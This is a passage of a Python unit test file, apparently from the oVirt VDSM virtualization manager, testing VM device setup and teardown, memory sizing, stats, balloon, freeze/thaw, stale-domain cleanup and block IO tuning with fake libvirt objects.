machine='pc-i440fx-2.3'>hvm</type>\n            </os>\n            <devices>\n                <memory model='nvdimm' access='shared'>\n                    <source>\n                        <path>/dev/pmem0</path>\n                        <alignsize unit='KiB'>131072</alignsize>\n                    </source>\n                    <target>\n                        <size unit='KiB'>8388608</size>\n                        <node>0</node>\n                        <label>\n                            <size unit='KiB'>128</size>\n                        </label>\n                    </target>\n                    <address type='dimm' slot='0'/>\n                </memory>\n            </devices>\n        </domain>\n        '''\n        with fake.VM(params={'xml': vm_xml}) as testvm:\n            # Verify the memory is 4 GB and not 12 GB (4 + 8)\n            assert testvm.mem_size_mb() == 4096\n\n\nclass ExpectedError(Exception):\n    pass\n\n\nclass UnexpectedError(Exception):\n    pass\n\n\n@expandPermutations\nclass TestVmDeviceHandling(TestCaseBase):\n    conf = {\n        'devices': [],\n        'maxVCpus': '160',\n        'memGuaranteedSize': '512',\n        'memSize': '1024',\n        'smp': '8',\n        'vmId': '9ffe28b6-6134-4b1e-beef-1185f49c436f',\n        'vmName': 'testVm',\n    }\n    xml_conf = '''<?xml version=\"1.0\" encoding=\"utf-8\"?>\n       <domain type=\"kvm\"\n               xmlns:ovirt-tune=\"http://ovirt.org/vm/tune/1.0\"\n               xmlns:ovirt-vm=\"http://ovirt.org/vm/1.0\">\n         <name>testVm</name>\n         <uuid>1234</uuid>\n         <memory>1048576</memory>\n         <currentMemory>1048576</currentMemory>\n         <vcpu current=\"1\">160</vcpu>\n         <devices>\n           <disk type='file' device='disk' snapshot='no'>\n             <source file='/path/1234'/>\n             <target dev='sda' bus='scsi'/>\n             <serial>9876</serial>\n             <address type='drive' controller='0' bus='0' target='0' unit='0'/>\n           </disk>\n           <controller type='scsi' index='0' model='virtio-scsi'>\n             <address type='pci' domain='0x0000' bus='0x00' slot='0x05'\n                      function='0x0'/>\n           </controller>\n           <controller type='pci' index='0' model='pci-root'/>\n           <interface type='bridge'>\n             <mac address='00:11:22:33:44:55'/>\n             <source bridge='ovirtmgmt'/>\n             <target dev='vnet0'/>\n             <model type='virtio'/>\n             <filterref filter='vdsm-no-mac-spoofing'/>\n             <address type='pci' domain='0x0000' bus='0x00' slot='0x03'\n                      function='0x0'/>\n           </interface>\n         </devices>\n         <metadata>\n             <ovirt-tune:qos/>\n             <ovirt-vm:vm/>\n         </metadata>\n       </domain>'''\n\n    def test_device_setup_success(self):\n        devices = [fake.Device('device_{}'.format(i)) for i in range(3)]\n\n        with fake.VM(self.conf, create_device_objects=True) as testvm:\n            testvm._devices['general'] = devices\n            self.assertNotRaises(testvm._setup_devices)\n            assert devices[0].state == fake.SETUP\n            assert devices[1].state == fake.SETUP\n            assert devices[2].state == fake.SETUP\n\n    def test_device_setup_fail_first(self):\n        devices = ([fake.Device('device_0', fail_setup=ExpectedError)] +\n                   [fake.Device('device_{}'.format(i)) for i in range(1, 3)])\n\n        with fake.VM(self.conf, create_device_objects=True) as testvm:\n            testvm._devices['general'] = devices\n            with pytest.raises(ExpectedError):\n                testvm._setup_devices()\n            assert devices[0].state == fake.SETUP\n            assert devices[1].state == fake.CREATED\n            assert devices[2].state == fake.CREATED\n\n    def test_device_setup_fail_second(self):\n        devices = [fake.Device('device_0'),\n                   fake.Device('device_1', fail_setup=ExpectedError),\n                   fake.Device('device_2')]\n\n        with fake.VM(self.conf, create_device_objects=True) as testvm:\n            testvm._devices['general'] = devices\n            with pytest.raises(ExpectedError):\n                testvm._setup_devices()\n            assert devices[0].state == fake.TEARDOWN\n            assert devices[1].state == fake.SETUP\n            assert devices[2].state == fake.CREATED\n\n    def test_device_setup_fail_third(self):\n        devices = [fake.Device('device_0'), fake.Device('device_1'),\n                   fake.Device('device_2', fail_setup=ExpectedError)]\n\n        with fake.VM(self.conf, create_device_objects=True) as testvm:\n            testvm._devices['general'] = devices\n            with pytest.raises(ExpectedError):\n                testvm._setup_devices()\n            assert devices[0].state == fake.TEARDOWN\n            assert devices[1].state == fake.TEARDOWN\n            assert devices[2].state == fake.SETUP\n\n    def test_device_setup_correct_exception(self):\n        devices = [fake.Device('device_0', fail_teardown=UnexpectedError),\n                   fake.Device('device_1',\n                               fail_setup=ExpectedError,\n                               fail_teardown=UnexpectedError),\n                   fake.Device('device_2', fail_setup=UnexpectedError)]\n\n        with fake.VM(self.conf, create_device_objects=True) as testvm:\n            testvm._devices['general'] = devices\n            with pytest.raises(ExpectedError):\n                testvm._setup_devices()\n            assert devices[0].state == fake.TEARDOWN\n            assert devices[1].state == fake.SETUP\n            assert devices[2].state == fake.CREATED\n\n    def test_device_teardown_success(self):\n        devices = [fake.Device('device_{}'.format(i)) for i in range(3)]\n\n        with fake.VM(self.conf, create_device_objects=True) as testvm:\n            testvm._devices['general'] = devices\n            self.assertNotRaises(testvm._setup_devices)\n            self.assertNotRaises(testvm._teardown_devices)\n            assert devices[0].state == fake.TEARDOWN\n            assert devices[1].state == fake.TEARDOWN\n            assert devices[2].state == fake.TEARDOWN\n\n    def test_device_teardown_fail_all(self):\n        devices = [fake.Device('device_{}'.format(i),\n                               fail_teardown=UnexpectedError)\n                   for i in range(3)]\n\n        with fake.VM(self.conf, create_device_objects=True) as testvm:\n            testvm._devices['general'] = devices\n            self.assertNotRaises(testvm._setup_devices)\n            self.assertNotRaises(testvm._teardown_devices)\n            assert devices[0].state == fake.TEARDOWN\n            assert devices[1].state == fake.TEARDOWN\n            assert devices[2].state == fake.TEARDOWN\n\n    @permutations([\n        [[], '0'],\n        [[0], '1'],\n        [[1, 2], '0'],\n        [[0, 2], '1'],\n        [[0, 1], '2'],\n    ])\n    def test_getNextIndex(self, used, expected):\n        with fake.VM(self.conf) as testvm:\n            # TODO: get rid of mangling\n            assert testvm._Vm__getNextIndex(used) == expected\n\n    @permutations([\n        ['', ''],\n        ['123', '123'],\n        ['ide', 'ide'],\n        ['sata', 'sd'],\n        ['scsi', 'sd'],\n    ])\n    def test_indiceForIface(self, iface, expected):\n        with fake.VM(self.conf) as testvm:\n            assert testvm._indiceForIface(iface) == expected\n\n    @permutations([\n        # We have to make sure that 'sd' key exists otherwise even defaultdict\n        # will KeyError on access.\n        [{'sd': []}, {'iface': 'sata'}, {'sd': [0]}],\n        [{'sd': [0]}, {'iface': 'sata'}, {'sd': [0, 1]}],\n        [{'sd': [1]}, {'iface': 'sata'}, {'sd': [1, 0]}],\n        [{'sd': [0, 2]}, {'iface': 'sata'}, {'sd': [0, 2, 1]}],\n        [{'sd': [], 'other': [0]}, {'iface': 'sata'},\n         {'other': [0], 'sd': [0]}],\n        [{'sd': [0]}, {'iface': 'scsi'}, {'sd': [0, 1]}],\n    ])\n    def test_updateDriveIndex(self, used, drv, expected):\n        with fake.VM(self.conf) as testvm:\n            testvm._usedIndices = used\n            testvm.updateDriveIndex(drv)\n            assert testvm._usedIndices == expected\n\n    @permutations([\n        [[{'iface': 'scsi', 'index': '1'}, {'iface': 'sata'}],\n         [{'iface': 'scsi', 'index': '1'}, {'iface': 'sata', 'index': '0'}]],\n        [[{'iface': 'scsi'}, {'iface': 'ide'}],\n         [{'iface': 'scsi', 'index': '0'}, {'iface': 'ide', 'index': '0'}]],\n        [[{'iface': 'scsi'}, {'iface': 'sata'}, {'iface': 'ide'}],\n         [{'iface': 'scsi', 'index': '0'}, {'iface': 'sata', 'index': '1'},\n          {'iface': 'ide', 'index': '0'}]],\n    ])\n    def test_normalizeDrivesIndices(self, drives, expected):\n        with fake.VM(self.conf) as testvm:\n            assert testvm.normalizeDrivesIndices(drives) == expected\n\n    def test_xml_device_processing(self):\n        with fake.VM({'xml': self.xml_conf}) as vm:\n            devices = vm._make_devices()\n            assert sum([len(v) for v in devices.values()]) == 2\n\n\nVM_EXITS = tuple(product((define.NORMAL, define.ERROR),\n                 list(vmexitreason.exitReasons.keys())))\n\n\n@expandPermutations\nclass TestVmExit(TestCaseBase):\n    @permutations(VM_EXITS)\n    def testExitReason(self, exitCode, exitReason):\n        \"\"\"\n        test of:\n        exitReason round trip;\n        error message is constructed correctly automatically\n        \"\"\"\n        with fake.VM() as testvm:\n            testvm.setDownStatus(exitCode, exitReason)\n            stats = testvm.getStats()\n            assert stats['exitReason'] == exitReason\n            assert stats['exitMessage'] == \\\n                vmexitreason.exitReasons.get(exitReason)\n\n    @permutations(VM_EXITS)\n    def testExitReasonExplicitMessage(self, exitCode, exitReason):\n        \"\"\"\n        test of:\n        exitReason round trip;\n        error message can be overridden explicitely\n        \"\"\"\n        with fake.VM() as testvm:\n            msg = \"test custom error message\"\n            testvm.setDownStatus(exitCode, exitReason, msg)\n            stats = testvm.getStats()\n            assert stats['exitReason'] == exitReason\n            assert stats['exitMessage'] == msg\n\n\n_VM_PARAMS = {'displayPort': -1, 'displaySecurePort': -1,\n              'display': 'qxl', 'displayIp': '127.0.0.1',\n              'vmType': 'kvm', 'memSize': 1024}\n\n\nclass TestVmStats(TestCaseBase):\n\n    def testGetNicStats(self):\n        GBPS = 10 ** 9 // 8\n        MAC = '52:54:00:59:F5:3F'\n        pretime = vdsm.common.time.monotonic_time()\n        with fake.VM(_VM_PARAMS) as testvm:\n            res = vmstats._nic_traffic(\n                testvm, fake.Nic(\n                    name='vnettest', model='virtio', mac_addr=MAC\n                ),\n                start_sample={'net.0.rx.bytes': 2 ** 64 - 15 * GBPS,\n                              'net.0.rx.pkts': 1,\n                              'net.0.rx.errs': 2,\n                              'net.0.rx.drop': 3,\n                              'net.0.tx.bytes': 0,\n                              'net.0.tx.pkts': 4,\n                              'net.0.tx.errs': 5,\n                              'net.0.tx.drop': 6},\n                start_index=0,\n                end_sample={'net.0.rx.bytes': 0,\n                            'net.0.rx.pkts': 7,\n                            'net.0.rx.errs': 8,\n                            'net.0.rx.drop': 9,\n                            'net.0.tx.bytes': 5 * GBPS,\n                            'net.0.tx.pkts': 10,\n                            'net.0.tx.errs': 11,\n                            'net.0.tx.drop': 12},\n                end_index=0)\n        posttime = vdsm.common.time.monotonic_time()\n        assert 'sampleTime' in res\n        assert pretime <= res['sampleTime'] <= posttime, \\\n            'sampleTime not in [%s..%s]' % (pretime, posttime)\n        del res['sampleTime']\n        assert res == {\n            'rxErrors': '8', 'rxDropped': '9',\n            'txErrors': '11', 'txDropped': '12',\n            'macAddr': MAC, 'name': 'vnettest',\n            'speed': '1000', 'state': 'unknown',\n            'rx': '0', 'tx': '625000000',\n        }\n\n    def testMultipleGraphicDeviceStats(self):\n        device_types = ['spice', 'vnc']\n        devices = '\\n'.join(['''\n<graphics type=\"{type_}\" port=\"-1\">\n  <listen type=\"network\" network=\"vdsm-ovirtmgmt\"/>\n</graphics>'''.format(type_=t) for t in device_types])\n        with fake.VM(xmldevices=devices, create_device_objects=True) as testvm:\n            res = testvm.getStats()\n            assert res['displayInfo']\n            for dev_stats, type_ in zip(res['displayInfo'], device_types):\n                assert dev_stats['type'] in type_\n                assert 'port' in dev_stats\n\n    def testDiskMappingHashInStatsHash(self):\n        with fake.VM(_VM_PARAMS) as testvm:\n            res = testvm.getStats()\n            testvm.guestAgent.diskMappingHash += 1\n            assert res['hash'] != testvm.getStats()['hash']\n\n    @MonkeyPatch(vm, 'config',\n                 make_config([('vars', 'vm_command_timeout', '10')]))\n    def testMonitorTimeoutResponsive(self):\n        with fake.VM(_VM_PARAMS) as testvm:\n            assert not testvm.isMigrating()\n            stats = {'monitorResponse': '0'}\n            testvm._setUnresponsiveIfTimeout(stats, 1)  # any value < timeout\n            assert stats['monitorResponse'] == '0'\n\n    @MonkeyPatch(vm, 'config',\n                 make_config([('vars', 'vm_command_timeout', '1')]))\n    def testMonitorTimeoutUnresponsive(self):\n        with fake.VM(_VM_PARAMS) as testvm:\n            assert testvm._monitorResponse == 0\n            assert not testvm.isMigrating()\n            stats = {'monitorResponse': '0'}\n            testvm._setUnresponsiveIfTimeout(stats, 10)  # any value > timeout\n            assert stats['monitorResponse'] == '-1'\n\n    @MonkeyPatch(vm, 'config',\n                 make_config([('vars', 'vm_command_timeout', '10')]))\n    def testMonitorTimeoutOnAlreadyUnresponsive(self):\n        with fake.VM(_VM_PARAMS) as testvm:\n            self._monitorResponse = -1\n            assert not testvm.isMigrating()\n            stats = {'monitorResponse': '-1'}\n            testvm._setUnresponsiveIfTimeout(stats, 1)  # any value < timeout\n            assert stats['monitorResponse'] == '-1'\n\n\n@expandPermutations\nclass TestLibVirtCallbacks(TestCaseBase):\n    FAKE_ERROR = 'EFAKERROR'\n\n    def test_onIOErrorPause(self):\n        with fake.VM(_VM_PARAMS, runCpu=True) as testvm:\n            assert testvm._guestCpuRunning\n            testvm.onIOError('fakedev', self.FAKE_ERROR,\n                             libvirt.VIR_DOMAIN_EVENT_IO_ERROR_PAUSE)\n            assert not testvm._guestCpuRunning\n            assert testvm._pause_code == self.FAKE_ERROR\n\n    def test_onIOErrorReport(self):\n        with fake.VM(_VM_PARAMS, runCpu=True) as testvm:\n            assert testvm._guestCpuRunning\n            testvm.onIOError('fakedev', self.FAKE_ERROR,\n                             libvirt.VIR_DOMAIN_EVENT_IO_ERROR_REPORT)\n            assert testvm._guestCpuRunning\n            assert testvm._pause_code != self.FAKE_ERROR\n\n    def test_onIOErrorNotSupported(self):\n        \"\"\"action not explicitely handled, must be skipped\"\"\"\n        with fake.VM(_VM_PARAMS, runCpu=True) as testvm:\n            assert testvm._guestCpuRunning\n            testvm.onIOError('fakedev', self.FAKE_ERROR,\n                             libvirt.VIR_DOMAIN_EVENT_IO_ERROR_NONE)\n            assert testvm._guestCpuRunning\n            assert testvm._pause_code is None  # no error recorded\n\n    @permutations([\n        ['net1', set()],\n        ['missing', set(('net1',))],\n    ])\n    def test_onDeviceRemoved(self, alias, kept_aliases):\n        devices = '''\n<interface type='bridge'>\n  <alias name=\"net1\"/>\n  <mac address='00:11:22:33:44:55'/>\n  <source bridge='ovirtmgmt'/>\n  <target dev='vnet0'/>\n  <model type='virtio'/>\n    <filterref filter='vdsm-no-mac-spoofing'/>\n    <address type='pci' domain='0x0000' bus='0x00' slot='0x03'\n             function='0x0'/>\n</interface>\n'''\n        with fake.VM(_VM_PARAMS, xmldevices=devices,\n                     create_device_objects=True) as testvm:\n            testvm._updateDomainDescriptor = lambda *args: None\n            testvm.onDeviceRemoved(alias)\n            assert set([d.alias for group in testvm._devices.values()\n                        for d in group]) == kept_aliases\n\n\nclass TestVmStatusTransitions(TestCaseBase):\n    @pytest.mark.slow\n    def testSavingState(self):\n        with fake.VM(runCpu=True, status=vmstatus.UP) as testvm:\n            testvm._dom = fake.Domain(domState=libvirt.VIR_DOMAIN_RUNNING)\n\n            def _asyncEvent():\n                testvm.onLibvirtLifecycleEvent(\n                    libvirt.VIR_DOMAIN_EVENT_SUSPENDED,\n                    -1, -1)\n\n            t = threading.Thread(target=_asyncEvent)\n            t.daemon = True\n\n            def _fireAsyncEvent(*args):\n                t.start()\n                time.sleep(0.5)\n                # pause the main thread to let the event one run\n\n            with MonkeyPatchScope([(testvm, '_underlyingPause',\n                                    _fireAsyncEvent)]):\n                assert testvm.status()['status'] == vmstatus.UP\n                testvm.pause(vmstatus.SAVING_STATE)\n                assert testvm.status()['status'] == vmstatus.SAVING_STATE\n                t.join()\n                assert testvm.status()['status'] == vmstatus.SAVING_STATE\n                # state must not change even after we are sure the event was\n                # handled\n\n\nclass TestVmBalloon(TestCaseBase):\n    def assertAPIFailed(self, res, specificErr=None):\n        if specificErr is None:\n            assert res['status']['code'] != 0\n        else:\n            assert res['status']['code'] == \\\n                define.errCode[specificErr]['status']['code']\n\n    def testSucceed(self):\n        devices = '<memballoon model=\"virtio\" alias=\"balloon\"/>'\n        with fake.VM(\n            params={'memSize': 128 * 1024},\n            xmldevices=devices,\n            create_device_objects=True\n        ) as testvm:\n            testvm._dom = fake.Domain()\n            target = 256 * 1024\n            testvm.setBalloonTarget(target)\n            assert testvm._dom.__calls__ == [('setMemory', (target,), {})]\n\n    def testVmWithoutDom(self):\n        devices = '<memballoon model=\"virtio\" alias=\"balloon\"/>'\n        with fake.VM(\n            xmldevices=devices,\n            create_device_objects=True\n        ) as testvm:\n            with pytest.raises(exception.BalloonError):\n                testvm.setBalloonTarget(128)\n\n    def testTargetValueNotInteger(self):\n        devices = '<memballoon model=\"virtio\" alias=\"balloon\"/>'\n        with fake.VM(\n            xmldevices=devices,\n            create_device_objects=True\n        ) as testvm:\n            with pytest.raises(exception.BalloonError):\n                testvm.setBalloonTarget('foobar')\n\n    def testLibvirtFailure(self):\n        devices = '<memballoon model=\"virtio\" alias=\"balloon\"/>'\n        with fake.VM(\n            xmldevices=devices,\n            create_device_objects=True\n        ) as testvm:\n            testvm._dom = fake.Domain(virtError=libvirt.VIR_ERR_INTERNAL_ERROR)\n            # we don't care about the error code as long as is != NO_DOMAIN\n            with pytest.raises(exception.BalloonError):\n                testvm.setBalloonTarget(256)\n\n    def testGetBalloonInfo(self):\n        with fake.VM() as testvm:\n            assert testvm.get_balloon_info() == {}\n\n    def testSkipBalloonModelNone(self):\n        devices = '<memballoon model=\"none\" alias=\"balloon\"/>'\n        with fake.VM(\n            params={'memSize': 128 * 1024},\n            xmldevices=devices,\n            create_device_objects=True\n        ) as testvm:\n            testvm._dom = fake.Domain()\n            target = 256 * 1024\n            testvm.setBalloonTarget(target)\n            assert not hasattr(testvm._dom, '__calls__')\n\n    def testBalloningDisabled(self):\n        devices = '<memballoon model=\"virtio\" alias=\"balloon\"/>'\n        with fake.VM(\n            params={'memSize': 128 * 1024},\n            xmldevices=devices,\n            create_device_objects=True\n        ) as testvm:\n            testvm._dom = fake.Domain()\n            target = 256 * 1024\n            assert testvm._ballooning_enabled  # Verify the default\n            testvm._ballooning_enabled = False\n            testvm.setBalloonTarget(target)\n            assert not hasattr(testvm._dom, '__calls__')\n            assert testvm._balloon_target is None\n\n\nclass ChangeBlockDevTests(TestCaseBase):\n    def test_update_drive_parameters_failure(self):\n        with fake.VM() as testvm:\n            testvm.log = FakeLogger()\n\n            # to make the update fail, the simplest way is to have\n            # no devices whatsoever\n            assert testvm._devices == vmdevices.common.empty_dev_map()\n            assert testvm.conf['devices'] == []\n\n            # the method will swallow all the errors\n            testvm.updateDriveParameters({'name': 'vda'})\n\n            # nothing should be added...\n            assert testvm._devices == vmdevices.common.empty_dev_map()\n            assert testvm.conf['devices'] == []\n\n            # ... and the reason for no update should be logged\n            assert testvm.log.messages\n\n\nclass FakeVm(vm.Vm):\n    \"\"\"\n    Fake Vm required for testing code that does not care about vm state,\n    invoking libvirt apis via Vm._dom, and logging via Vm.log.\n    \"\"\"\n\n    log = logging.getLogger()\n\n    def __init__(self, dom):\n        self._dom = dom\n        self._qga_lock = threading.Lock()\n\n\nclass FreezingTests(TestCaseBase):\n\n    def setUp(self):\n        self.dom = fake.Domain()\n        self.vm = FakeVm(self.dom)\n\n    def test_freeze(self):\n        res = self.vm.freeze()\n        assert res == response.success()\n        assert self.dom.__calls__ == [(\"fsFreeze\", (), {})]\n\n    def test_thaw(self):\n        res = self.vm.thaw()\n        assert res == response.success()\n        assert self.dom.__calls__ == [(\"fsThaw\", (), {})]\n\n\nclass FreezingGuestAgentUnresponsiveTests(TestCaseBase):\n\n    expected = response.error(\"nonresp\", message=\"fake error\")\n\n    def setUp(self):\n        self.dom = fake.Domain(\n            virtError=libvirt.VIR_ERR_AGENT_UNRESPONSIVE,\n            errorMessage=\"fake error\")\n        self.vm = FakeVm(self.dom)\n\n    def test_freeze(self):\n        res = self.vm.freeze()\n        assert res == self.expected\n\n    def test_thaw(self):\n        res = self.vm.thaw()\n        assert res == self.expected\n\n\nclass FreezingUnsupportedTests(TestCaseBase):\n\n    expected = response.error(\"unsupportedOperationErr\", message=\"fake error\")\n\n    def setUp(self):\n        self.dom = fake.Domain(\n            virtError=libvirt.VIR_ERR_NO_SUPPORT,\n            errorMessage=\"fake error\")\n        self.vm = FakeVm(self.dom)\n\n    def test_freeze(self):\n        res = self.vm.freeze()\n        assert res == self.expected\n\n    def test_thaw(self):\n        res = self.vm.thaw()\n        assert res == self.expected\n\n\nclass FreezingUnexpectedErrorTests(TestCaseBase):\n\n    def setUp(self):\n        self.dom = fake.Domain(\n            virtError=libvirt.VIR_ERR_INTERNAL_ERROR,\n            errorMessage=\"fake error\")\n        self.vm = FakeVm(self.dom)\n\n    def test_freeze(self):\n        res = self.vm.freeze()\n        assert res == response.error(\"freezeErr\", message=\"fake error\")\n\n    def test_thaw(self):\n        res = self.vm.thaw()\n        assert res == response.error(\"thawErr\", message=\"fake error\")\n\n\ndef err_no_domain():\n    error = libvirt.libvirtError(\"No such domain\")\n    error.err = [libvirt.VIR_ERR_NO_DOMAIN]\n    return error\n\n\nclass FakePersistentDomain(object):\n\n    def __init__(self, undefined, uuid, name, state):\n        self.id = uuid\n        self.name = name\n        self._state = state\n        self.undefined = undefined\n\n    def state(self, flags):\n        return self._state, 0\n\n    def undefineFlags(self, flags=0):\n        if self.id in self.undefined:\n            raise err_no_domain()\n        self.undefined.append(self.id)\n\n\nclass FakePersistentConnection(object):\n\n    def __init__(self, domains):\n        self.domains = domains\n\n    def _no_domain_error(self):\n        raise err_no_domain()\n\n    def lookupByUUIDString(self, uuid):\n        for d in self.domains:\n            if d.id == uuid:\n                return d\n        else:\n            raise self._no_domain_error()\n\n    def lookupByName(self, name):\n        for d in self.domains:\n            if d.name == name:\n                return d\n        else:\n            raise self._no_domain_error()\n\n\nclass FakePersistentVm(object):\n\n    def __init__(self):\n        self.id = '123'\n        self.name = 'foo'\n        self.log = logging.getLogger()\n\n\n@expandPermutations\nclass TestVmPersistency(TestCaseBase):\n\n    @permutations([\n        ((('123', 'bar', libvirt.VIR_DOMAIN_SHUTOFF),\n          ('456', 'foo', libvirt.VIR_DOMAIN_SHUTOFF),),\n         ['123', '456'],),\n        ((('123', 'bar', libvirt.VIR_DOMAIN_CRASHED),\n          ('456', 'foo', libvirt.VIR_DOMAIN_SHUTOFF),),\n         ['123', '456'],),\n        ((('123', 'foo', libvirt.VIR_DOMAIN_SHUTOFF),\n          ('456', 'bar', libvirt.VIR_DOMAIN_SHUTOFF),),\n         ['123'],),\n        ((('123', 'foo', libvirt.VIR_DOMAIN_SHUTOFF),\n          ('456', 'bar', libvirt.VIR_DOMAIN_RUNNING),),\n         ['123'],),\n        ((('123', 'bar', libvirt.VIR_DOMAIN_SHUTOFF),\n          ('456', 'foo', libvirt.VIR_DOMAIN_RUNNING),),\n         None,),\n        ((('123', 'bar', libvirt.VIR_DOMAIN_RUNNING),\n          ('456', 'foo', libvirt.VIR_DOMAIN_SHUTOFF),),\n         None,),\n        ((('456', 'bar', libvirt.VIR_DOMAIN_RUNNING),\n          ('789', 'baz', libvirt.VIR_DOMAIN_SHUTOFF),),\n         [],),\n    ])\n    def test_domain_cleanup(self, domain_specs, result):\n        undefined = []\n        domains = [FakePersistentDomain(undefined, *s) for s in domain_specs]\n        connection = FakePersistentConnection(domains)\n        if result is None:\n            with pytest.raises(exception.VMExists):\n                vm._undefine_stale_domain(FakePersistentVm(), connection)\n        else:\n            vm._undefine_stale_domain(FakePersistentVm(), connection)\n            assert undefined == result\n\n\nclass BlockIoTuneTests(TestCaseBase):\n\n    def setUp(self):\n        self.iotune_low = {\n            'total_bytes_sec': 0,\n            'read_bytes_sec': 1000,\n            'write_bytes_sec': 1000,\n            'total_iops_sec': 0,\n            'write_iops_sec': 0,\n            'read_iops_sec': 0\n        }\n        self.iotune_high = {\n            'total_bytes_sec': 0,\n            'read_bytes_sec': 2000,\n            'write_bytes_sec': 2000,\n            'total_iops_sec': 0,\n            'write_iops_sec': 0,\n            'read_iops_sec': 0\n        }\n        self.iotune_wrong = {\n            'total_bytes_sec': 'XXX',\n            'read_bytes_sec': 1000,\n            'write_bytes_sec': 1000,\n            'total_iops_sec': 0,\n            'write_iops_sec': 0,\n            'read_iops_sec': 0\n        }\n\n        self.drive = FakeBlockIoTuneDrive('vda', path='/fake/path/vda')\n\n        self.dom = FakeBlockIoTuneDomain()\n        self.dom.iotunes = {self.drive.name: self.iotune_low.copy()}\n\n    @MonkeyPatch(vm, 'isVdsmImage', lambda *args: True)\n    def test_get_fills_cache(self):\n        with fake.VM() as testvm:\n            testvm._dom = self.dom\n            testvm._devices[hwclass.DISK] = (self.drive,)\n\n            res = testvm.io_tune_values()\n            assert res\n            assert self.dom.__calls__ == \\\n                [('blockIoTune',\n                    (self.drive.name, libvirt.VIR_DOMAIN_AFFECT_LIVE),\n                    {})]\n\n            res = testvm.io_tune_values()\n            assert res\n            assert self.dom.__calls__ == \\\n                [('blockIoTune',\n                    (self.drive.name, libvirt.VIR_DOMAIN_AFFECT_LIVE),\n                    {})]\n\n    @MonkeyPatch(vm, 'isVdsmImage', lambda *args: True)\n    def test_set_updates_cache(self):\n        with fake.VM() as testvm:\n            testvm._dom = self.dom\n            testvm._devices[hwclass.DISK] = (self.drive,)\n\n            tunables = [\n                {\"name\": self.drive.name, \"ioTune\": self.iotune_high}\n            ]\n\n            res = testvm.io_tune_values()\n            self.assert_iotune_in_response(res, self.iotune_low)\n\n            testvm.setIoTune(tunables)\n\n            res = testvm.io_tune_values()\n            self.assert_iotune_in_response(res, self.iotune_high)\n\n            assert len(self.dom.__calls__) == 2\n            self.assert_nth_call_to_dom_is(0, 'blockIoTune')\n            self.assert_nth_call_to_dom_is(1, 'setBlockIoTune')\n\n    @MonkeyPatch(vm, 'isVdsmImage', lambda *args: True)\n    def test_set_fills_cache(self):\n        with fake.VM() as testvm:\n            testvm._dom = self.dom\n            testvm._devices[hwclass.DISK] = (self.drive,)\n\n            tunables = [\n                {\"name\": self.drive.name, \"ioTune\": self.iotune_high}\n            ]\n\n            testvm.setIoTune(tunables)\n\n            res = testvm.io_tune_values()\n            self.assert_iotune_in_response(res, self.iotune_high)\n\n            assert len(self.dom.__calls__) == 1\n            self.assert_nth_call_to_dom_is(0, 'setBlockIoTune')\n\n    @MonkeyPatch(vm, 'isVdsmImage', lambda *args: True)\n    def test_cold_cache_set_preempts_get(self):\n        with fake.VM() as testvm:\n            testvm._dom = self.dom\n            testvm._devices[hwclass.DISK] = (self.drive,)\n\n            def _interleaved_update():\n                # this will run in the middle of io_tune_values()\n                tunables = [\n                    {\"name\": self.drive.name, \"ioTune\": self.iotune_high}\n                ]\n                testvm.setIoTune(tunables)\n\n            self.dom.callback = _interleaved_update\n            self.assert_iotune_in_response(\n                testvm.io_tune_values(),\n                self.iotune_low\n            )\n\n            assert self.dom.iotunes == \\\n                {self.drive.name: self.iotune_high}\n\n    @MonkeyPatch(vm, 'isVdsmImage', lambda *args: True)\n    def test_set_iotune_invalid(self):\n        with fake.VM() as testvm:\n            testvm._dom = self.dom\n            testvm._devices[hwclass.DISK] = (self.drive,)\n\n            tunables = [\n                {\"name\": self.drive.name, \"ioTune\": self.iotune_wrong}\n            ]\n\n            with pytest.raises(exception.UpdateIOTuneError):\n                testvm.setIoTune(tunables)\n\n    @MonkeyPatch(utils, 'config',\n                 make_config([('sanlock', 'io_timeout', '1')]))\n    def test_exit_with_error_on_resume(self):\n        with fake.VM() as testvm:\n            pretime = vdsm.common.time.monotonic_time() - 30.0\n            testvm._pause_time = pretime\n            testvm._resume_behavior = vm.ResumeBehavior.KILL\n\n            testvm._dom = fake.Domain()\n\n            with pytest.raises(vm.DestroyedOnResumeError):\n                testvm.maybe_resume()\n\n            testvm.onLibvirtLifecycleEvent(\n                libvirt.VIR_DOMAIN_EVENT_STOPPED,\n                libvirt.VIR_DOMAIN_EVENT_STOPPED_SHUTDOWN,\n                None)\n\n            stats = testvm.getStats()\n            assert stats['status'] == vmstatus.DOWN\n            assert stats['exitCode'] == define.ERROR\n            assert stats['exitReason'] == \\\n                vmexitreason.DESTROYED_ON_PAUSE_TIMEOUT\n\n    _PAUSED_VMS = {'auto_resume':\n                   {'pause_time_offset': 81.0,\n                    'resume_behavior': vm.ResumeBehavior.AUTO_RESUME,\n                    'pause': True, 'pause_code': 'EIO',\n                    'expected_status': vmstatus.PAUSED},\n                   'leave_paused':\n                   {'pause_time_offset': 81.0,\n                    'resume_behavior': vm.ResumeBehavior.LEAVE_PAUSED,\n                    'pause': True, 'pause_code': 'EIO',\n                    'expected_status': vmstatus.PAUSED},\n                   'kill':\n                   {'pause_time_offset': 81.0,\n                    'resume_behavior': vm.ResumeBehavior.KILL,\n                    'pause': True, 'pause_code': 'EIO',\n                    'expected_status': vmstatus.DOWN},\n                   'paused':\n                   {'pause_time_offset': 81.0,\n                    'pause': True,\n                    'expected_status': vmstatus.PAUSED},\n                   'paused_now':\n                   {'pause_time_offset': 0.0,\n                    'resume_behavior': vm.ResumeBehavior.KILL,\n                    'pause': True, 'pause_code': 'EIO',\n                    'expected_status': vmstatus.PAUSED},\n                   'paused_later':\n                   {'pause_time_offset': 70.0,\n                    'resume_behavior': vm.ResumeBehavior.KILL,\n                    'pause': True, 'pause_code': 'EIO',\n                    'expected_status': vmstatus.PAUSED},\n                   'running':\n                   {'pause_time_offset': 81.0,\n                    'pause': False,\n                    'expected_status': vmstatus.WAIT_FOR_LAUNCH},\n                   }\n\n    def test_kill_long_paused(self):\n        cif = fake.ClientIF()\n        test = functools.partial(self._kill_long_paused, cif)\n        vm_params = []\n        for vmid, params in self._PAUSED_VMS.items():\n            params = {name: value for name, value in params.items()\n                      if name in ('pause_time_offset', 'resume_behavior',)}\n            params['cif'] = cif\n            params['vmid'] = vmid\n            vm_params.append(params)\n        fake.run_with_vms(test, vm_params)\n\n    def _kill_long_paused(self, cif, vms):\n        spec = self._PAUSED_VMS\n        for vm_ in cif.getVMs().values():\n            vm_._dom = fake.Domain()\n        for vm_ in cif.getVMs().values():\n            if not spec[vm_.id]['pause']:\n                continue\n            vm_.set_last_status(vmstatus.PAUSED)\n            pause_code = spec[vm_.id].get('pause_code')\n            if pause_code is not None:\n                